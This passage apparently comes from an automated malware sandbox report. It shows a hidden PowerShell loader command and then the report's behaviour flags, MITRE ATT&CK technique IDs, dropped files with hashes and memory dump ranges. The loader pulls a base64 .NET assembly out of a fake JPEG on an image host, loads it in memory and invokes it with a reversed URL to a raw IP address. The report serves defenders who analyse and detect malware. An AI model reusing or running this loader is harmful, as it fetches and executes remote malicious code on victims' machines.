      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.4567jk/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f81fd206cc9f5a43b0a61a9b2c8de657

SHA1
45bea4a3f38758fa715127e29c68a045e0c7247f

SHA256
eb4af8d241682c20b53835ad8f1c56b6a703e997312eb519e8e6e068d08eb00f

SHA512
cb1d4b2ba82e1ed8e0aa2cd5ee3af861b7455b7f8102b8aa33b670a1ade183914df0833927b59352f75e09fc8cb7e18d2be0ea33baf9d3be145ab0eab0816c7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5C07.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5C87.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TKLBXYHTMNE08OGF0TIG.temp

Filesize
7KB

MD5
98de8e6069ae54e3eeb7c0b9a9b72bc6

SHA1
fcfaf99eff648e712d2addd76e191018240d5a1c

SHA256
0bfcc5b0a3b461d209ce8daa567d967d9d62ece572ccfa3722b3375b5c42257d

SHA512
17a1284e5904c10f91749ae0a62dcd6e2f3510e7e675aa1af15499595b377ce60cf752b3ea3dda071dd95e38c54225c45be91a1504b5b12a48edeb92d97c8b0f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
98de8e6069ae54e3eeb7c0b9a9b72bc6

SHA1
fcfaf99eff648e712d2addd76e191018240d5a1c

SHA256
0bfcc5b0a3b461d209ce8daa567d967d9d62ece572ccfa3722b3375b5c42257d

SHA512
17a1284e5904c10f91749ae0a62dcd6e2f3510e7e675aa1af15499595b377ce60cf752b3ea3dda071dd95e38c54225c45be91a1504b5b12a48edeb92d97c8b0f

Download Submit
C:\Users\Admin\AppData\Roaming\UEB.vbs

Filesize
393KB

MD5
3a88b2fbb528b5eb9887a1939f9a1dfc

SHA1
0a8cd939492c456e17e467de84440ee050668dd1

SHA256
7bdd9da10ed9f894ce95c2d012378936c244cda6ba576304444ad02eefdd0795

SHA512
70d559235ab3e10bcac7efc5d7581eaed56062265c324fd22e37d724966f25dbc7806fb47525fdb67f82878bda4884a7b2883b674d87b86bad486f62a87f316e

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memory/2064-1-0x000000007222D000-0x0000000072238000-memory.dmp

Filesize
44KB

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memory/2064-98-0x000000007222D000-0x0000000072238000-memory.dmp

Filesize
44KB

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memory/2064-97-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/2064-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/2064-17-0x000000007222D000-0x0000000072238000-memory.dmp

Filesize
44KB

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memory/2808-10-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

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memory/2808-11-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

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memory/2808-91-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/2808-95-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/2808-9-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/2808-8-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/3012-20-0x00000000022F0000-0x0000000002330000-memory.dmp

Filesize
256KB

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memory/3012-21-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/3012-19-0x00000000022F0000-0x0000000002330000-memory.dmp

Filesize
256KB

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memory/3012-18-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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memory/3012-94-0x000000006BEA0000-0x000000006C44B000-memory.dmp

Filesize
5.7MB

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